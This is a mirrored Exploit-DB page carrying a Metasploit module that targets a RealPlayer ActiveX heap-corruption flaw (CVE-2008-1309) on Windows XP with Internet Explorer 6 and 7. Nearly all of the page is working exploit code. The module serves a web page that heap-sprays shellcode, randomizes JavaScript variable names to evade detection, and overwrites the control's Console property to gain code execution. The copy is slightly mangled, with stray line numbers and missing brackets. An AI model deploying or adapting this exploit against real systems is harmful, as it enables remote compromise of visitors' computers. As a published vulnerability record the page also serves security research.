RealPlayer – ‘rmoc3260.dll’ ActiveX Control Heap Corruption (Metasploit)

Exploit Database
141 阅读

作者： Metasploit

日期： 2010-06-15
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16584/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

# $Id: realplayer_console.rb 9525 2010-06-15 07:18:08Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption',

'Description'=> %q{

This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.

By sending a specially crafted string to the 'Console' property

in the rmoc3260.dll control, an attacker may be able to execute

arbitrary code.

'License'=> MSF_LICENSE,

'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],

'Version'=> '$Revision: 9525 $',

'References' =>

[

[ 'CVE', '2008-1309' ],

[ 'OSVDB', '42946' ],

[ 'BID', '28157' ],

[ 'URL', 'http://secunia.com/advisories/29315/' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Payload'=>

{

'Space' => 1024,

'BadChars'=> "\x00\x09\x0a\x0d'\\",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ]

'DisclosureDate' => 'Mar 8 2008',

'DefaultTarget'=> 0))

end

def autofilter

false

end

def check_dependencies

use_zlib

end

def on_request_uri(cli, request)

# Re-generate the payload

return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode

shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Setup exploit buffers

nops = Rex::Text.to_unescape([target.ret].pack('V'))

ret = Rex::Text.uri_encode([target.ret].pack('L'))

blocksize = 0x40000

fillto= 400

offset = target['Offset']

# Randomize the javascript variable names

racontrol= rand_text_alpha(rand(100) + 1)

j_shellcode= rand_text_alpha(rand(100) + 1)

j_nops = rand_text_alpha(rand(100) + 1)

j_headersize = rand_text_alpha(rand(100) + 1)

j_slackspace = rand_text_alpha(rand(100) + 1)

j_fillblock= rand_text_alpha(rand(100) + 1)

j_block= rand_text_alpha(rand(100) + 1)

j_memory = rand_text_alpha(rand(100) + 1)

j_counter= rand_text_alpha(rand(30) + 2)

j_ret= rand_text_alpha(rand(100) + 1)

# Build out the message

content = %Q|<html>

#{j_shellcode} = unescape('#{shellcode}');

#{j_nops} = unescape('#{nops}');

#{j_headersize} = 20;

#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length

while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};

#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});

#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});

while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};

#{j_memory} = new Array();

for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};

#{j_ret} = unescape('#{ret}');

while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};

#{racontrol}.Console = #{j_ret};

#{racontrol}.Console = '';

#{racontrol}.Console = #{j_ret};

</script>

</html>

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client

send_response_html(cli, content)

# Handle the payload

handler(cli)

end